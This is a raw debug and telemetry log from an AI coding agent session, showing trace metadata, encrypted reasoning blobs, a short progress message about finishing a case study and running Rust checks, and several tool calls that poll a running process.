session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_SpHEba3YELgZgIoJO1MACMGU tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=1395 total_duration_ms=1395\n[2026-07-12T04:06:19.998Z] [INFO] \n[2026-07-12T04:06:20.061Z] [INFO] 2026-07-12T04:06:20.055543Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:20.061Z] [INFO] \n[2026-07-12T04:06:20.084Z] [INFO] 2026-07-12T04:06:20.069034Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=5 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:20.069Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:20.084Z] [INFO] 2026-07-12T04:06:20.069116Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=5 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:20.069Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:20.084Z] [INFO] 2026-07-12T04:06:20.069131Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:20.084Z] [INFO] \n[2026-07-12T04:06:23.470Z] [INFO] 2026-07-12T04:06:23.467695Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312bf66648191bbe360bdc975835d\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxK_k6-uin0Kr_l7VKQIqWd8dgNcXN_0uNEB4SD9iEQLFsN59A1sHRTK5GQJS0qpRbfZqtxbxIIy-gJK24f7IdxuGtKZd_cW7vBdZpNwXFClcdvprheKBv0m9o4FHW89iNcZmRrud5KfZ8ZKm7PRrdPzQyCT9qP1q6F7Z2JHrr9XXUtfJZgcO-OcfNFc1X6gfcS_FoLB8z3oX9BYNxlquYuXPVO_f5vyaRtVyYADivNh_vr9ir_oT98S6UdRAz10bbRRHxSPF5hv0xWIrBM7Qt8klzIljQhCMqs8VF7cQOt8HBQgRmAyNAClwFDDXWnOZLQWHfApN86BhVzj3kFtjgoWe9PZ3PVDKC9J8_msKQYgweKc9zImklLlQbaiIhrHWuoChln8cr5FPi1a4gwyqDv6EdaullhBjxJPLWLeJEu8hu3Izoq2y9uch9G4qHphmB5ATkEzxssdjV0WmuQOv56glCthqBjicNyBOiRyPYLaRPHLE43Vz2r3DssmPHdqDJyvI7o2bynaEoRZxXvizpqVvHMRCwS_3_gsQJHrw3FpLBhxZug0To_FKliY1cqeFSre8_stXlGVl-TAmEfBCqCHNwBN0Zn2MkBQLV6tloP68aTDaY2XZaQUQFhWWlD5PspiBjRP-KzTAcDkNA4k9413ov7AtK2yMWMmpfN0MSpvdcb2uXoPmnu3nUGlJxrOhZ3g2jxS0SsIJqy3jYIuph6bA5HcCu-zgjHHuJc__mycXqbQwdZn5voOLD1GzJP9dguHC55kr0KEgtdT1cnZD6tcTWU942nx6UnmvuW6GnLVED9TD7nwgOElfTWiY898K61Y9E469yoBpfRVFy0y7XvaO1-XSBURoi-lm42y1LbPZsceGPOZPyb3OVelvmj__zsROSDVjPixl7tXILot8bnbSA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:23.470Z] [INFO] \n[2026-07-12T04:06:23.788Z] [INFO] 2026-07-12T04:06:23.784450Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5312bf66648191bbe360bdc975835d\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxK_GnaaDQ1o9nBSQB1cgta4izCRJGewCxrxQu_4LW1HaTiHdooJhk4HvxoboyHb3Pq8ZbQHqORkpLpMb8t-EQrB1L3qyOu1l219Tg1769xin96HFgOiagrSNGoLwN2Io33YsKG4ftHTxqihjNmkPt6mLQn5_EDk2dWHWvW8xidEGxNyxszXKBel418X_nsdcqiYgskP2qjgMDS2Xgf0CjC0GDohIGR9YAqqNxLNaMiS7vjaeutUfxMtYA_M0F66oq48_meArw-RMRjtwdvZHRLTFIbknZK6ycGA4hcsgDXvZcCuN3Ub3jZJKh06focfMZ-eJqMg59qD-2J_d2fHbfTuPhY6Mxlx6t7i0y0Vp4aEQ_iM5Rwp-ru3cryA4kpMIuRmNChE8CJ6qzOYYMDr1_SEYghv5GQRTANHJYj8a3MVT903QwpmscNA1By3MB1DoAoXj9DxtZJEdbKGatw9VK3wbpVylOq9cA-lmlC3blE3CRckIiWaOQ_GpJH9fQJmNGT-yLM1rZBtOQfJZcekct2RIA-KLvQ_ywLrcj20fbvX0stTrX9S7i0OOrkn2ZQzKzZ1YrQWKJ2yWTFdgdUKz4SuUslk2TdMDClTAWqEic0ugHA0F_fu0BA84gbXXya54ncUa60w_wpDcwC-BJba3DgSYp12TGycuu_XzBS8f8kaRdnc1_fc1gblnynxyMHID5LwFrjC7iQJ1KiG6OIMnMyrUbhlGHSZpwVG9G_9jjDTeOY1Mh-2bC6PyCHbDZdltH7UweInGIR6D3G9lDh_Gc8tn5Mymr3f4zQbwn6tpGo0Zef7hVm4vHsmLYiyBtL4h9WjqIhCxwpGT9EuqaXTD3qBNU4JB2IlbkNMuGNUhVsbP6VtQrtBWzLrseo8wYxfnBXFayImE5k1aPdzHVbGI0NlncP5hut2opWpjVjvbJjuk5aWOZvaCpKpw4EUjC0Ywmq2\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:23.788Z] [INFO] \n[2026-07-12T04:06:23.791Z] [INFO] 2026-07-12T04:06:23.790449Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312bfc3388191ad50f7c240b9c916\"), role: \"assistant\", content: [], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:23.791Z] [INFO] \n[2026-07-12T04:06:25.495Z] [INFO] 2026-07-12T04:06:25.492268Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Message { id: Some(\"msg_0e255b39bbad6b0b016a5312bfc3388191ad50f7c240b9c916\"), role: \"assistant\", content: [OutputText { text: \"The complete case study is now in place: requirements matrix, source inventory, deep architectural analysis, compact raw observations, component evaluation, and a seven-phase implementation roadmap. I\u2019m running the repository\u2019s full Rust checks now, then I\u2019ll review every changed line and finalize the existing PR.\" }], phase: Some(Commentary), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:25.495Z] [INFO] \n[2026-07-12T04:06:25.501Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_31\",\"type\":\"agent_message\",\"text\":\"The complete case study is now in place: requirements matrix, source inventory, deep architectural analysis, compact raw observations, component evaluation, and a seven-phase implementation roadmap. I\u2019m running the repository\u2019s full Rust checks now, then I\u2019ll review every changed line and finalize the existing PR.\"}}\n[2026-07-12T04:06:25.501Z] [INFO] \n[2026-07-12T04:06:25.610Z] [INFO] 2026-07-12T04:06:25.507339Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312c16f6881919163fb189f7369aa\"), status: Some(\"in_progress\"), call_id: \"call_7ojGhrB6XrMLOSnHaYFrFxVa\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:25.610Z] [INFO] \n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.099326Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:26.102Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.102365Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312bc65dc8191873ce26c2c79305e\"\n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.102404Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60716 output_token_count=134 cached_token_count=59136 reasoning_token_count=9 tool_token_count=60850 ttft_ms=3404 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:26.102Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:26.102Z] [INFO] 2026-07-12T04:06:26.102454Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60716 output_token_count=134 cached_token_count=59136 reasoning_token_count=9 tool_token_count=60850 ttft_ms=3404 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:26.102Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:26.102Z] [INFO] \n[2026-07-12T04:06:31.196Z] [INFO] 2026-07-12T04:06:31.195228Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-28ff894e-b8d3-4fbd-bbfc-5e8188e56f79 arguments={\"session_id\":26498,\"chars\":\"\",\"yield_time_ms\":1000,\"max_output_tokens\":5000} duration_ms=5000 success=true output=Chunk ID: ec2e06\n[2026-07-12T04:06:31.196Z] [INFO] Wall time: 5.0004 seconds\n[2026-07-12T04:06:31.196Z] [INFO] Process running with session ID 26498\n[2026-07-12T04:06:31.196Z] [INFO] Original token count: 0\n[2026-07-12T04:06:31.196Z] [INFO] Output:\n[2026-07-12T04:06:31.196Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:31.195Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.196Z] [INFO] 2026-07-12T04:06:31.195290Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-28ff894e-b8d3-4fbd-bbfc-5e8188e56f79 duration_ms=5000 success=true arguments_length=77 output_length=113 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:31.195Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.196Z] [INFO] \n[2026-07-12T04:06:31.198Z] [INFO] 2026-07-12T04:06:31.197940Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_7ojGhrB6XrMLOSnHaYFrFxVa arguments=const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:31.198Z] [INFO]  duration_ms=5089 success=true output=Script completed\n[2026-07-12T04:06:31.198Z] [INFO] Wall time 5.1 seconds\n[2026-07-12T04:06:31.198Z] [INFO] Output:\n[2026-07-12T04:06:31.198Z] [INFO] \n[2026-07-12T04:06:31.198Z] [INFO] SESSION_ID=26498 mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:31.197Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.198Z] [INFO] 2026-07-12T04:06:31.197984Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_7ojGhrB6XrMLOSnHaYFrFxVa duration_ms=5089 success=true arguments_length=173 output_length=64 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:31.197Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.198Z] [INFO] 2026-07-12T04:06:31.198073Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_7ojGhrB6XrMLOSnHaYFrFxVa tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=5090 total_duration_ms=5090\n[2026-07-12T04:06:31.198Z] [INFO] \n[2026-07-12T04:06:31.342Z] [INFO] 2026-07-12T04:06:31.341923Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:06:31.342Z] [INFO] \n[2026-07-12T04:06:31.351Z] [INFO] 2026-07-12T04:06:31.349833Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:31.349Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.351Z] [INFO] \n[2026-07-12T04:06:31.355Z] [INFO] 2026-07-12T04:06:31.351165Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:06:31.351Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:31.355Z] [INFO] 2026-07-12T04:06:31.351200Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:06:31.355Z] [INFO] \n[2026-07-12T04:06:33.506Z] [INFO] 2026-07-12T04:06:33.502998Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5312c95d0081918117fa88c7c1d06b\"), status: Some(\"in_progress\"), call_id: \"call_hVKGfnOiYpigXiU8sN54kIIX\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:06:33.506Z] [INFO] \n[2026-07-12T04:06:33.647Z] [INFO] 2026-07-12T04:06:33.644607Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:26498,chars:\"\",yield_time_ms:1000,max_output_tokens:5000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:06:33.647Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:06:33.647Z] [INFO] \n[2026-07-12T04:06:33.685Z] [INFO] 2026-07-12T04:06:33.651836Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5312c7693c8191902cba5ee4812e47\"\n[2026-07-12T04:06:33.685Z] [INFO] 2026-07-12T04:06:33.661631Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=60878 output_token_count=59 cached_token_count=60160 reasoning_token_count=0 tool_token_count=60937 ttft_ms=2153 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:06:33.661Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol 